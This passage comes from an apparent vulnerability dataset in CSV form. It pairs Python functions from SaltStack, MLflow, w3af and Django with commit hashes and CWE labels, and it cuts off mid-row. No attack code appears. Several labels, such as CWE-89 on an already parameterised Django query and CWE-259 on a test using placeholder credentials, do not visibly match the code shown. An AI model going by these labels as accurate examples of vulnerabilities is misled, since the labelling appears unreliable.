                    ""virt.pool_info"": MagicMock(return_value={}),
                    ""virt.pool_define"": MagicMock(
                        side_effect=self.mock_libvirt.libvirtError(""Some error"")
                    ),
                },
            ):
                ret.update({""changes"": {}, ""comment"": ""Some error"", ""result"": False})
                self.assertDictEqual(
                    virt.pool_running(
                        ""mypool"",
                        ptype=""logical"",
                        target=""/dev/base"",
                        source={""devices"": [{""path"": ""/dev/sda""}]},
                    ),
                    ret,
                )

            # Test case with update and autostart change on stopped pool
            for mock in mocks:
                mocks[mock].reset_mock()
            mocks[""update""] = MagicMock(return_value=True)
            with patch.dict(
                virt.__salt__,
                {  # pylint: disable=no-member
                    ""virt.pool_info"": MagicMock(
                        return_value={""mypool"": {""state"": ""stopped"", ""autostart"": True}}
                    ),
                    ""virt.pool_update"": mocks[""update""],
                    ""virt.pool_set_autostart"": mocks[""autostart""],
                    ""virt.pool_build"": mocks[""build""],
                    ""virt.pool_start"": mocks[""start""],
                },
            ):
                ret.update(
                    {
                        ""changes"": {
                            ""mypool"": (
                                ""Pool updated, built, autostart flag changed, started""
                            )
                        },
                        ""comment"": (
                            ""Pool mypool updated, built, autostart flag changed,""
                            "" started""
                        ),
                        ""result"": True,
                    }
                )
                self.assertDictEqual(
                    virt.pool_running(
                        ""mypool"",
                        ptype=""logical"",
                        target=""/dev/base"",
                        autostart=False,
                        permissions={
                            ""mode"": ""0770"",
                            ""owner"": 1000,
                            ""group"": 100,
                            ""label"": ""seclabel"",
                        },
                        source={""devices"": [{""path"": ""/dev/sda""}]},
                    ),
                    ret,
                )
                mocks[""start""].assert_called_with(
                    ""mypool"", connection=None, username=None, password=None
                )
                mocks[""build""].assert_called_with(
                    ""mypool"", connection=None, username=None, password=None
                )
                mocks[""autostart""].assert_called_with(
                    ""mypool"", state=""off"", connection=None, username=None, password=None
                )
                mocks[""update""].assert_called_with(
                    ""mypool"",
                    ptype=""logical"",
                    target=""/dev/base"",
                    permissions={
                        ""mode"": ""0770"",
                        ""owner"": 1000,
                        ""group"": 100,
                        ""label"": ""seclabel"",
                    },
                    source_devices=[{""path"": ""/dev/sda""}],
                    source_dir=None,
                    source_adapter=None,
                    source_hosts=None,
                    source_auth=None,
                    source_name=None,
                    source_format=None,
                    source_initiator=None,
                    connection=None,
                    username=None,
                    password=None,
                )

            # test case with update and no autostart change on running pool
            for mock in mocks:
                mocks[mock].reset_mock()
            with patch.dict(
                virt.__salt__,
                {  # pylint: disable=no-member
                    ""virt.pool_info"": MagicMock(
                        return_value={
                            ""mypool"": {""state"": ""running"", ""autostart"": False}
                        }
                    ),
                    ""virt.pool_update"": mocks[""update""],
                    ""virt.pool_build"": mocks[""build""],
                    ""virt.pool_start"": mocks[""start""],
                    ""virt.pool_stop"": mocks[""stop""],
                },
            ):
                ret.update(
                    {
                        ""changes"": {""mypool"": ""Pool updated, restarted""},
                        ""comment"": ""Pool mypool updated, restarted"",
                        ""result"": True,
                    }
                )
                self.assertDictEqual(
                    virt.pool_running(
                        ""mypool"",
                        ptype=""logical"",
                        target=""/dev/base"",
                        autostart=False,
                        permissions={
                            ""mode"": ""0770"",
                            ""owner"": 1000,
                            ""group"": 100,
                            ""label"": ""seclabel"",
                        },
                        source={""devices"": [{""path"": ""/dev/sda""}]},
                    ),
                    ret,
                )
                mocks[""stop""].assert_called_with(
                    ""mypool"", connection=None, username=None, password=None
                )
                mocks[""start""].assert_called_with(
                    ""mypool"", connection=None, username=None, password=None
                )
                mocks[""build""].assert_not_called()
                mocks[""update""].assert_called_with(
                    ""mypool"",
                    ptype=""logical"",
                    target=""/dev/base"",
                    permissions={
                        ""mode"": ""0770"",
                        ""owner"": 1000,
                        ""group"": 100,
                        ""label"": ""seclabel"",
                    },
                    source_devices=[{""path"": ""/dev/sda""}],
                    source_dir=None,
                    source_adapter=None,
                    source_hosts=None,
                    source_auth=None,
                    source_name=None,
                    source_format=None,
                    source_initiator=None,
                    connection=None,
                    username=None,
                    password=None,
                )

        with patch.dict(virt.__opts__, {""test"": True}):
            # test case with test=True and no change
            with patch.dict(
                virt.__salt__,
                {  # pylint: disable=no-member
                    ""virt.pool_info"": MagicMock(
                        return_value={""mypool"": {""state"": ""running"", ""autostart"": True}}
                    ),
                    ""virt.pool_update"": MagicMock(return_value=False),
                },
            ):
                ret.update(
                    {
                        ""changes"": {},
                        ""comment"": ""Pool mypool already running"",
                        ""result"": True,
                    }
                )
                self.assertDictEqual(
                    virt.pool_running(
                        ""mypool"",
                        ptype=""logical"",
                        target=""/dev/base"",
                        source={""devices"": [{""path"": ""/dev/sda""}]},
                    ),
                    ret,
                )

            # test case with test=True and started
            for mock in mocks:
                mocks[mock].reset_mock()
            mocks[""update""] = MagicMock(return_value=False)
            with patch.dict(
                virt.__salt__,
                {  # pylint: disable=no-member
                    ""virt.pool_info"": MagicMock(
                        return_value={""mypool"": {""state"": ""stopped"", ""autostart"": True}}
                    ),
                    ""virt.pool_update"": mocks[""update""],
                },
            ):
                ret.update(
                    {
                        ""changes"": {""mypool"": ""Pool started""},
                        ""comment"": ""Pool mypool started"",
                        ""result"": None,
                    }
                )
                self.assertDictEqual(
                    virt.pool_running(
                        ""mypool"",
                        ptype=""logical"",
                        target=""/dev/base"",
                        source={""devices"": [{""path"": ""/dev/sda""}]},
                    ),
                    ret,
                )

            # test case with test=True and pool to be defined
            for mock in mocks:
                mocks[mock].reset_mock()
            with patch.dict(
                virt.__salt__,
                {  # pylint: disable=no-member
                    ""virt.pool_info"": MagicMock(return_value={}),
                },
            ):
                ret.update(
                    {
                        ""changes"": {
                            ""mypool"": ""Pool defined, marked for autostart, started""
                        },
                        ""comment"": ""Pool mypool defined, marked for autostart, started"",
                        ""result"": None,
                    }
                )
                self.assertDictEqual(
                    virt.pool_running(
                        ""mypool"",
                        ptype=""logical"",
                        target=""/dev/base"",
                        permissions={
                            ""mode"": ""0770"",
                            ""owner"": 1000,
                            ""group"": 100,
                            ""label"": ""seclabel"",
                        },
                        source={""devices"": [{""path"": ""/dev/sda""}]},
                        transient=True,
                        autostart=True,
                        connection=""myconnection"",
                        username=""user"",
                        password=""secret"",
                    ),
                    ret,
                )",CWE-259,saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def test_pool_running(self):
        """"""
        pool_running state test cases.
        """"""
        ret = {""name"": ""mypool"", ""changes"": {}, ""result"": True, ""comment"": """"}
        mocks = {
            mock: MagicMock(return_value=True)
            for mock in [""define"", ""autostart"", ""build"", ""start"", ""stop""]
        }
        with patch.dict(virt.__opts__, {""test"": False}):
            with patch.dict(
                virt.__salt__,
                {  # pylint: disable=no-member
                    ""virt.pool_info"": MagicMock(
                        side_effect=[
                            {},
                            {""mypool"": {""state"": ""stopped"", ""autostart"": True}},
                        ]
                    ),
                    ""virt.pool_define"": mocks[""define""],
                    ""virt.pool_build"": mocks[""build""],
                    ""virt.pool_start"": mocks[""start""],
                    ""virt.pool_set_autostart"": mocks[""autostart""],
                },
            ):
                ret.update(
                    {
                        ""changes"": {
                            ""mypool"": ""Pool defined, marked for autostart, started""
                        },
                        ""comment"": ""Pool mypool defined, marked for autostart, started"",
                    }
                )
                self.assertDictEqual(
                    virt.pool_running(
                        ""mypool"",
                        ptype=""logical"",
                        target=""/dev/base"",
                        permissions={
                            ""mode"": ""0770"",
                            ""owner"": 1000,
                            ""group"": 100,
                            ""label"": ""seclabel"",
                        },
                        source={""devices"": [{""path"": ""/dev/sda""}]},
                        transient=True,
                        autostart=True,
                        connection=""myconnection"",
                        username=""user"",
                        password=""secret"",
                    ),
                    ret,
                )
                mocks[""define""].assert_called_with(
                    ""mypool"",
                    ptype=""logical"",
                    target=""/dev/base"",
                    permissions={
                        ""mode"": ""0770"",
                        ""owner"": 1000,
                        ""group"": 100,
                        ""label"": ""seclabel"",
                    },
                    source_devices=[{""path"": ""/dev/sda""}],
                    source_dir=None,
                    source_adapter=None,
                    source_hosts=None,
                    source_auth=None,
                    source_name=None,
                    source_format=None,
                    source_initiator=None,
                    transient=True,
                    start=False,
                    connection=""myconnection"",
                    username=""user"",
                    password=""secret"",
                )
                mocks[""autostart""].assert_called_with(
                    ""mypool"",
                    state=""on"",
                    connection=""myconnection"",
                    username=""user"",
                    password=""secret"",
                )
                mocks[""build""].assert_called_with(
                    ""mypool"",
                    connection=""myconnection"",
                    username=""user"",
                    password=""secret"",
                )
                mocks[""start""].assert_called_with(
                    ""mypool"",
                    connection=""myconnection"",
                    username=""user"",
                    password=""secret"",
                )

            mocks[""update""] = MagicMock(return_value=False)
            with patch.dict(
                virt.__salt__,
                {  # pylint: disable=no-member
                    ""virt.pool_info"": MagicMock(
                        return_value={""mypool"": {""state"": ""running"", ""autostart"": True}}
                    ),
                    ""virt.pool_update"": MagicMock(return_value=False),
                },
            ):
                ret.update({""changes"": {}, ""comment"": ""Pool mypool already running""})
                self.assertDictEqual(
                    virt.pool_running(
                        ""mypool"",
                        ptype=""logical"",
                        target=""/dev/base"",
                        source={""devices"": [{""path"": ""/dev/sda""}]},
                    ),
                    ret,
                )

            for mock in mocks:
                mocks[mock].reset_mock()
            with patch.dict(
                virt.__salt__,
                {  # pylint: disable=no-member
                    ""virt.pool_info"": MagicMock(
                        return_value={""mypool"": {""state"": ""stopped"", ""autostart"": True}}
                    ),
                    ""virt.pool_update"": mocks[""update""],
                    ""virt.pool_build"": mocks[""build""],
                    ""virt.pool_start"": mocks[""start""],
                },
            ):
                ret.update(
                    {
                        ""changes"": {""mypool"": ""Pool started""},
                        ""comment"": ""Pool mypool started"",
                    }
                )
                self.assertDictEqual(
                    virt.pool_running(
                        ""mypool"",
                        ptype=""logical"",
                        target=""/dev/base"",
                        source={""devices"": [{""path"": ""/dev/sda""}]},
                    ),
                    ret,
                )
                mocks[""start""].assert_called_with(
                    ""mypool"", connection=None, username=None, password=None
                )
                mocks[""build""].assert_not_called()

            with patch.dict(
                virt.__salt__,
                {  # pylint: disable=no-member
                    ""virt.pool_info"": MagicMock(return_value={}),
                    ""virt.pool_define"": MagicMock(
                        side_effect=self.mock_libvirt.libvirtError(""Some error"")
                    ),
                },
            ):
                ret.update({""changes"": {}, ""comment"": ""Some error"", ""result"": False})
                self.assertDictEqual(
                    virt.pool_running(
                        ""mypool"",
                        ptype=""logical"",
                        target=""/dev/base"",
                        source={""devices"": [{""path"": ""/dev/sda""}]},
                    ),
                    ret,
                )

            # Test case with update and autostart change on stopped pool
            for mock in mocks:
                mocks[mock].reset_mock()
            mocks[""update""] = MagicMock(return_value=True)
            with patch.dict(
                virt.__salt__,
                {  # pylint: disable=no-member
                    ""virt.pool_info"": MagicMock(
                        return_value={""mypool"": {""state"": ""stopped"", ""autostart"": True}}
                    ),
                    ""virt.pool_update"": mocks[""update""],
                    ""virt.pool_set_autostart"": mocks[""autostart""],
                    ""virt.pool_build"": mocks[""build""],
                    ""virt.pool_start"": mocks[""start""],
                },
            ):
                ret.update(
                    {
                        ""changes"": {
                            ""mypool"": ""Pool updated, built, autostart flag changed, started""
                        },
                        ""comment"": ""Pool mypool updated, built, autostart flag changed, started"",
                        ""result"": True,
                    }
                )
                self.assertDictEqual(
                    virt.pool_running(
                        ""mypool"",
                        ptype=""logical"",
                        target=""/dev/base"",
                        autostart=False,
                        permissions={
                            ""mode"": ""0770"",
                            ""owner"": 1000,
                            ""group"": 100,
                            ""label"": ""seclabel"",
                        },
                        source={""devices"": [{""path"": ""/dev/sda""}]},
                    ),
                    ret,
                )
                mocks[""start""].assert_called_with(
                    ""mypool"", connection=None, username=None, password=None
                )
                mocks[""build""].assert_called_with(
                    ""mypool"", connection=None, username=None, password=None
                )
                mocks[""autostart""].assert_called_with(
                    ""mypool"", state=""off"", connection=None, username=None, password=None
                )
                mocks[""update""].assert_called_with(
                    ""mypool"",
                    ptype=""logical"",
                    target=""/dev/base"",
                    permissions={
                        ""mode"": ""0770"",
                        ""owner"": 1000,
                        ""group"": 100,
                        ""label"": ""seclabel"",
                    },
                    source_devices=[{""path"": ""/dev/sda""}],
                    source_dir=None,
                    source_adapter=None,
                    source_hosts=None,
                    source_auth=None,
                    source_name=None,
                    source_format=None,
                    source_initiator=None,
                    connection=None,
                    username=None,
                    password=None,
                )

            # test case with update and no autostart change on running pool
            for mock in mocks:
                mocks[mock].reset_mock()
            with patch.dict(
                virt.__salt__,
                {  # pylint: disable=no-member
                    ""virt.pool_info"": MagicMock(
                        return_value={
                            ""mypool"": {""state"": ""running"", ""autostart"": False}
                        }
                    ),
                    ""virt.pool_update"": mocks[""update""],
                    ""virt.pool_build"": mocks[""build""],
                    ""virt.pool_start"": mocks[""start""],
                    ""virt.pool_stop"": mocks[""stop""],
                },
            ):
                ret.update(
                    {
                        ""changes"": {""mypool"": ""Pool updated, restarted""},
                        ""comment"": ""Pool mypool updated, restarted"",
                        ""result"": True,
                    }
                )
                self.assertDictEqual(
                    virt.pool_running(
                        ""mypool"",
                        ptype=""logical"",
                        target=""/dev/base"",
                        autostart=False,
                        permissions={
                            ""mode"": ""0770"",
                            ""owner"": 1000,
                            ""group"": 100,
                            ""label"": ""seclabel"",
                        },
                        source={""devices"": [{""path"": ""/dev/sda""}]},
                    ),
                    ret,
                )
                mocks[""stop""].assert_called_with(
                    ""mypool"", connection=None, username=None, password=None
                )
                mocks[""start""].assert_called_with(
                    ""mypool"", connection=None, username=None, password=None
                )
                mocks[""build""].assert_not_called()
                mocks[""update""].assert_called_with(
                    ""mypool"",
                    ptype=""logical"",
                    target=""/dev/base"",
                    permissions={
                        ""mode"": ""0770"",
                        ""owner"": 1000,
                        ""group"": 100,
                        ""label"": ""seclabel"",
                    },
                    source_devices=[{""path"": ""/dev/sda""}],
                    source_dir=None,
                    source_adapter=None,
                    source_hosts=None,
                    source_auth=None,
                    source_name=None,
                    source_format=None,
                    source_initiator=None,
                    connection=None,
                    username=None,
                    password=None,
                )

        with patch.dict(virt.__opts__, {""test"": True}):
            # test case with test=True and no change
            with patch.dict(
                virt.__salt__,
                {  # pylint: disable=no-member
                    ""virt.pool_info"": MagicMock(
                        return_value={""mypool"": {""state"": ""running"", ""autostart"": True}}
                    ),
                    ""virt.pool_update"": MagicMock(return_value=False),
                },
            ):
                ret.update(
                    {
                        ""changes"": {},
                        ""comment"": ""Pool mypool already running"",
                        ""result"": True,
                    }
                )
                self.assertDictEqual(
                    virt.pool_running(
                        ""mypool"",
                        ptype=""logical"",
                        target=""/dev/base"",
                        source={""devices"": [{""path"": ""/dev/sda""}]},
                    ),
                    ret,
                )

            # test case with test=True and started
            for mock in mocks:
                mocks[mock].reset_mock()
            mocks[""update""] = MagicMock(return_value=False)
            with patch.dict(
                virt.__salt__,
                {  # pylint: disable=no-member
                    ""virt.pool_info"": MagicMock(
                        return_value={""mypool"": {""state"": ""stopped"", ""autostart"": True}}
                    ),
                    ""virt.pool_update"": mocks[""update""],
                },
            ):
                ret.update(
                    {
                        ""changes"": {""mypool"": ""Pool started""},
                        ""comment"": ""Pool mypool started"",
                        ""result"": None,
                    }
                )
                self.assertDictEqual(
                    virt.pool_running(
                        ""mypool"",
                        ptype=""logical"",
                        target=""/dev/base"",
                        source={""devices"": [{""path"": ""/dev/sda""}]},
                    ),
                    ret,
                )

            # test case with test=True and pool to be defined
            for mock in mocks:
                mocks[mock].reset_mock()
            with patch.dict(
                virt.__salt__,
                {  # pylint: disable=no-member
                    ""virt.pool_info"": MagicMock(return_value={}),
                },
            ):
                ret.update(
                    {
                        ""changes"": {
                            ""mypool"": ""Pool defined, marked for autostart, started""
                        },
                        ""comment"": ""Pool mypool defined, marked for autostart, started"",
                        ""result"": None,
                    }
                )
                self.assertDictEqual(
                    virt.pool_running(
                        ""mypool"",
                        ptype=""logical"",
                        target=""/dev/base"",
                        permissions={
                            ""mode"": ""0770"",
                            ""owner"": 1000,
                            ""group"": 100,
                            ""label"": ""seclabel"",
                        },
                        source={""devices"": [{""path"": ""/dev/sda""}]},
                        transient=True,
                        autostart=True,
                        connection=""myconnection"",
                        username=""user"",
                        password=""secret"",
                    ),
                    ret,
                )"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/spark.py,0,"def log_model(
    spark_model,
    artifact_path,
    conda_env=None,
    dfs_tmpdir=None,
    sample_input=None,
    registered_model_name=None,
    signature: ModelSignature = None,
    input_example: ModelInputExample = None,
    await_registration_for=DEFAULT_AWAIT_MAX_SLEEP_SECONDS,
):
    """"""
    Log a Spark MLlib model as an MLflow artifact for the current run. This uses the
    MLlib persistence format and produces an MLflow Model with the Spark flavor.

    Note: If no run is active, it will instantiate a run to obtain a run_id.

    :param spark_model: Spark model to be saved - MLflow can only save descendants of
                        pyspark.ml.Model which implement MLReadable and MLWritable.
    :param artifact_path: Run relative artifact path.
    :param conda_env: Either a dictionary representation of a Conda environment or the path to a
                      Conda environment yaml file. If provided, this decsribes the environment
                      this model should be run in. At minimum, it should specify the dependencies
                      contained in :func:`get_default_conda_env()`. If `None`, the default
                      :func:`get_default_conda_env()` environment is added to the model.
                      The following is an *example* dictionary representation of a Conda
                      environment::

                        {
                            'name': 'mlflow-env',
                            'channels': ['defaults'],
                            'dependencies': [
                                'python=3.7.0',
                                'pyspark=2.3.0'
                            ]
                        }
    :param dfs_tmpdir: Temporary directory path on Distributed (Hadoop) File System (DFS) or local
                       filesystem if running in local mode. The model is written in this
                       destination and then copied into the model's artifact directory. This is
                       necessary as Spark ML models read from and write to DFS if running on a
                       cluster. If this operation completes successfully, all temporary files
                       created on the DFS are removed. Defaults to ``/tmp/mlflow``.
    :param sample_input: A sample input used to add the MLeap flavor to the model.
                         This must be a PySpark DataFrame that the model can evaluate. If
                         ``sample_input`` is ``None``, the MLeap flavor is not added.
    :param registered_model_name: (Experimental) If given, create a model version under
                                  ``registered_model_name``, also creating a registered model if one
                                  with the given name does not exist.

    :param signature: (Experimental) :py:class:`ModelSignature <mlflow.models.ModelSignature>`
                      describes model input and output :py:class:`Schema <mlflow.types.Schema>`.
                      The model signature can be :py:func:`inferred <mlflow.models.infer_signature>`
                      from datasets with valid model input (e.g. the training dataset with target
                      column omitted) and valid model output (e.g. model predictions generated on
                      the training dataset), for example:

                      .. code-block:: python

                        from mlflow.models.signature import infer_signature
                        train = df.drop_column(""target_label"")
                        predictions = ... # compute model predictions
                        signature = infer_signature(train, predictions)
    :param input_example: (Experimental) Input example provides one or several instances of valid
                          model input. The example can be used as a hint of what data to feed the
                          model. The given example will be converted to a Pandas DataFrame and then
                          serialized to json using the Pandas split-oriented format. Bytes are
                          base64-encoded.
    :param await_registration_for: Number of seconds to wait for the model version to finish
                            being created and is in ``READY`` status. By default, the function
                            waits for five minutes. Specify 0 or None to skip waiting.



    .. code-block:: python
        :caption: Example

        from pyspark.ml import Pipeline
        from pyspark.ml.classification import LogisticRegression
        from pyspark.ml.feature import HashingTF, Tokenizer
        training = spark.createDataFrame([
            (0, ""a b c d e spark"", 1.0),
            (1, ""b d"", 0.0),
            (2, ""spark f g h"", 1.0),
            (3, ""hadoop mapreduce"", 0.0) ], [""id"", ""text"", ""label""])
        tokenizer = Tokenizer(inputCol=""text"", outputCol=""words"")
        hashingTF = HashingTF(inputCol=tokenizer.getOutputCol(), outputCol=""features"")
        lr = LogisticRegression(maxIter=10, regParam=0.001)
        pipeline = Pipeline(stages=[tokenizer, hashingTF, lr])
        model = pipeline.fit(training)
        mlflow.spark.log_model(model, ""spark-model"")
    """"""
    from py4j.protocol import Py4JError

    _validate_model(spark_model)
    from pyspark.ml import PipelineModel

    if not isinstance(spark_model, PipelineModel):
        spark_model = PipelineModel([spark_model])
    run_id = mlflow.tracking.fluent._get_or_start_run().info.run_id
    run_root_artifact_uri = mlflow.get_artifact_uri()
    # If the artifact URI is a local filesystem path, defer to Model.log() to persist the model,
    # since Spark may not be able to write directly to the driver's filesystem. For example,
    # writing to `file:/uri` will write to the local filesystem from each executor, which will
    # be incorrect on multi-node clusters - to avoid such issues we just use the Model.log() path
    # here.
    if is_local_uri(run_root_artifact_uri):
        return Model.log(
            artifact_path=artifact_path,
            flavor=mlflow.spark,
            spark_model=spark_model,
            conda_env=conda_env,
            dfs_tmpdir=dfs_tmpdir,
            sample_input=sample_input,
            registered_model_name=registered_model_name,
            signature=signature,
            input_example=input_example,
            await_registration_for=await_registration_for,
        )
    model_dir = os.path.join(run_root_artifact_uri, artifact_path)
    # Try to write directly to the artifact repo via Spark. If this fails, defer to Model.log()
    # to persist the model
    try:
        spark_model.save(posixpath.join(model_dir, _SPARK_MODEL_PATH_SUB))
    except Py4JError:
        return Model.log(
            artifact_path=artifact_path,
            flavor=mlflow.spark,
            spark_model=spark_model,
            conda_env=conda_env,
            dfs_tmpdir=dfs_tmpdir,
            sample_input=sample_input,
            registered_model_name=registered_model_name,
            signature=signature,
            input_example=input_example,
            await_registration_for=await_registration_for,
        )

    # Otherwise, override the default model log behavior and save model directly to artifact repo
    mlflow_model = Model(artifact_path=artifact_path, run_id=run_id)
    with TempDir() as tmp:
        tmp_model_metadata_dir = tmp.path()
        _save_model_metadata(
            tmp_model_metadata_dir,
            spark_model,
            mlflow_model,
            sample_input,
            conda_env,
            signature=signature,
            input_example=input_example,
        )
        mlflow.tracking.fluent.log_artifacts(tmp_model_metadata_dir, artifact_path)
        if registered_model_name is not None:
            mlflow.register_model(
                ""runs:/%s/%s"" % (run_id, artifact_path),
                registered_model_name,
                await_registration_for,
            )",,mlflow/mlflow,c991b99d50119ac9464aea521daf5e168c45d2a7,"def log_model(
    spark_model,
    artifact_path,
    conda_env=None,
    dfs_tmpdir=None,
    sample_input=None,
    registered_model_name=None,
    signature: ModelSignature = None,
    input_example: ModelInputExample = None,
    await_registration_for=DEFAULT_AWAIT_MAX_SLEEP_SECONDS,
):
    """"""
    Log a Spark MLlib model as an MLflow artifact for the current run. This uses the
    MLlib persistence format and produces an MLflow Model with the Spark flavor.

    Note: If no run is active, it will instantiate a run to obtain a run_id.

    :param spark_model: Spark model to be saved - MLflow can only save descendants of
                        pyspark.ml.Model which implement MLReadable and MLWritable.
    :param artifact_path: Run relative artifact path.
    :param conda_env: Either a dictionary representation of a Conda environment or the path to a
                      Conda environment yaml file. If provided, this decsribes the environment
                      this model should be run in. At minimum, it should specify the dependencies
                      contained in :func:`get_default_conda_env()`. If `None`, the default
                      :func:`get_default_conda_env()` environment is added to the model.
                      The following is an *example* dictionary representation of a Conda
                      environment::

                        {
                            'name': 'mlflow-env',
                            'channels': ['defaults'],
                            'dependencies': [
                                'python=3.7.0',
                                'pyspark=2.3.0'
                            ]
                        }
    :param dfs_tmpdir: Temporary directory path on Distributed (Hadoop) File System (DFS) or local
                       filesystem if running in local mode. The model is written in this
                       destination and then copied into the model's artifact directory. This is
                       necessary as Spark ML models read from and write to DFS if running on a
                       cluster. If this operation completes successfully, all temporary files
                       created on the DFS are removed. Defaults to ``/tmp/mlflow``.
    :param sample_input: A sample input used to add the MLeap flavor to the model.
                         This must be a PySpark DataFrame that the model can evaluate. If
                         ``sample_input`` is ``None``, the MLeap flavor is not added.
    :param registered_model_name: (Experimental) If given, create a model version under
                                  ``registered_model_name``, also creating a registered model if one
                                  with the given name does not exist.

    :param signature: (Experimental) :py:class:`ModelSignature <mlflow.models.ModelSignature>`
                      describes model input and output :py:class:`Schema <mlflow.types.Schema>`.
                      The model signature can be :py:func:`inferred <mlflow.models.infer_signature>`
                      from datasets with valid model input (e.g. the training dataset with target
                      column omitted) and valid model output (e.g. model predictions generated on
                      the training dataset), for example:

                      .. code-block:: python

                        from mlflow.models.signature import infer_signature
                        train = df.drop_column(""target_label"")
                        predictions = ... # compute model predictions
                        signature = infer_signature(train, predictions)
    :param input_example: (Experimental) Input example provides one or several instances of valid
                          model input. The example can be used as a hint of what data to feed the
                          model. The given example will be converted to a Pandas DataFrame and then
                          serialized to json using the Pandas split-oriented format. Bytes are
                          base64-encoded.
    :param await_registration_for: Number of seconds to wait for the model version to finish
                            being created and is in ``READY`` status. By default, the function
                            waits for five minutes. Specify 0 or None to skip waiting.



    .. code-block:: python
        :caption: Example

        from pyspark.ml import Pipeline
        from pyspark.ml.classification import LogisticRegression
        from pyspark.ml.feature import HashingTF, Tokenizer
        training = spark.createDataFrame([
            (0, ""a b c d e spark"", 1.0),
            (1, ""b d"", 0.0),
            (2, ""spark f g h"", 1.0),
            (3, ""hadoop mapreduce"", 0.0) ], [""id"", ""text"", ""label""])
        tokenizer = Tokenizer(inputCol=""text"", outputCol=""words"")
        hashingTF = HashingTF(inputCol=tokenizer.getOutputCol(), outputCol=""features"")
        lr = LogisticRegression(maxIter=10, regParam=0.001)
        pipeline = Pipeline(stages=[tokenizer, hashingTF, lr])
        model = pipeline.fit(training)
        mlflow.spark.log_model(model, ""spark-model"")
    """"""
    from py4j.protocol import Py4JJavaError

    _validate_model(spark_model)
    from pyspark.ml import PipelineModel

    if not isinstance(spark_model, PipelineModel):
        spark_model = PipelineModel([spark_model])
    run_id = mlflow.tracking.fluent._get_or_start_run().info.run_id
    run_root_artifact_uri = mlflow.get_artifact_uri()
    # If the artifact URI is a local filesystem path, defer to Model.log() to persist the model,
    # since Spark may not be able to write directly to the driver's filesystem. For example,
    # writing to `file:/uri` will write to the local filesystem from each executor, which will
    # be incorrect on multi-node clusters - to avoid such issues we just use the Model.log() path
    # here.
    if is_local_uri(run_root_artifact_uri):
        return Model.log(
            artifact_path=artifact_path,
            flavor=mlflow.spark,
            spark_model=spark_model,
            conda_env=conda_env,
            dfs_tmpdir=dfs_tmpdir,
            sample_input=sample_input,
            registered_model_name=registered_model_name,
            signature=signature,
            input_example=input_example,
            await_registration_for=await_registration_for,
        )
    model_dir = os.path.join(run_root_artifact_uri, artifact_path)
    # Try to write directly to the artifact repo via Spark. If this fails, defer to Model.log()
    # to persist the model
    try:
        spark_model.save(posixpath.join(model_dir, _SPARK_MODEL_PATH_SUB))
    except Py4JJavaError:
        return Model.log(
            artifact_path=artifact_path,
            flavor=mlflow.spark,
            spark_model=spark_model,
            conda_env=conda_env,
            dfs_tmpdir=dfs_tmpdir,
            sample_input=sample_input,
            registered_model_name=registered_model_name,
            signature=signature,
            input_example=input_example,
            await_registration_for=await_registration_for,
        )

    # Otherwise, override the default model log behavior and save model directly to artifact repo
    mlflow_model = Model(artifact_path=artifact_path, run_id=run_id)
    with TempDir() as tmp:
        tmp_model_metadata_dir = tmp.path()
        _save_model_metadata(
            tmp_model_metadata_dir,
            spark_model,
            mlflow_model,
            sample_input,
            conda_env,
            signature=signature,
            input_example=input_example,
        )
        mlflow.tracking.fluent.log_artifacts(tmp_model_metadata_dir, artifact_path)
        if registered_model_name is not None:
            mlflow.register_model(
                ""runs:/%s/%s"" % (run_id, artifact_path),
                registered_model_name,
                await_registration_for,
            )"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/plugins/tests/crawl/test_wordpress_fingerprint.py,0,"def test_updated_wp_versions_xml(self):
        wp_fp_inst = self.w3afcore.plugins.get_plugin_inst('crawl', 'wordpress_fingerprint')
        url = 'https://raw.github.com/wpscanteam/wpscan/master/data/wp_versions.xml'
        
        wp_versions_file = wp_fp_inst.WP_VERSIONS_XML
        is_older = days_since_file_update(wp_versions_file, 60)

        msg = 'The wp_versions.xml file is too old. The following commands need'\
              ' to be run in order to update it:\n'\
              'cd w3af/plugins/crawl/wordpress_fingerprint/\n'\
              'wget %s -O wp_versions.xml\n'\
              'git commit -m ""Updating wp_versions.xml file."" wp_versions.xml\n'\
              'git push\n'\
              'cd -'
        self.assertFalse(is_older, msg % url)",,andresriancho/w3af,9bfb4280133af8871225ee993d42b303011f139f,"def test_updated_wp_versions_xml(self):
        wp_fp_inst = self.w3afcore.plugins.get_plugin_inst('crawl', 'wordpress_fingerprint')
        url = 'https://raw.github.com/wpscanteam/wpscan/master/data/wp_versions.xml'
        
        wp_versions_file = wp_fp_inst.WP_VERSIONS_XML
        is_older = days_since_file_update(wp_versions_file, 60)

        msg = 'The wp_versions.xml file is too old. The following commands need'\
              ' to be run in order to update it:\n'\
              'cd plugins/crawl/wordpress_fingerprint/\n'\
              'wget %s -O wp_versions.xml\n'\
              'git commit -m ""Updating wp_versions.xml file."" wp_versions.xml\n'\
              'git push\n'\
              'cd -'
        self.assertFalse(is_older, msg % url)"
,UNKNOWN,UNKNOWN,django/db/backends/postgresql_psycopg2/introspection.py,1,"def get_relations(self, cursor, table_name):
        """"""
        Returns a dictionary of {field_index: (field_index_other_table, other_table)}
        representing all relationships to the given table. Indexes are 0-based.
        """"""
        cursor.execute(""""""
            SELECT con.conkey, con.confkey, c2.relname
            FROM pg_constraint con, pg_class c1, pg_class c2
            WHERE c1.oid = con.conrelid
                AND c2.oid = con.confrelid
                AND c1.relname = %s
                AND con.contype = 'f'"""""", [table_name])
        relations = {}
        for row in cursor.fetchall():
            # row[0] and row[1] are single-item lists, so grab the single item.
            relations[row[0][0] - 1] = (row[1][0] - 1, row[2])
        return relations",CWE-89,django/django,0171ba65dbbff377282c03b86c83036168c84b22,"def get_relations(self, cursor, table_name):
        """"""
        Returns a dictionary of {field_index: (field_index_other_table, other_table)}
        representing all relationships to the given table. Indexes are 0-based.
        """"""
        cursor.execute(""""""
            SELECT con.conkey, con.confkey, c2.relname
            FROM pg_constraint con, pg_class c1, pg_class c2
            WHERE c1.oid = con.conrelid
                AND c2.oid = con.confrelid
                AND c1.relname = %s
                AND con.contype = 'f'"""""", [table_name])
        relations = {}
        for row in cursor.fetchall():
            # row[0] and row[1] are single-item lists, so grab the single item.
            relations[row[0][0] - 1] = (row[1][0] - 1, row[2])
        return relations"
,UNKNOWN,UNKNOWN,django/db/backends/base/schema.py,1,"def alter_unique_together(self, model, old_unique_together, new_unique_together):
        """"""
        Deals with a model changing its unique_together.
        Note: The input unique_togethers must be doubly-nested, not the single-
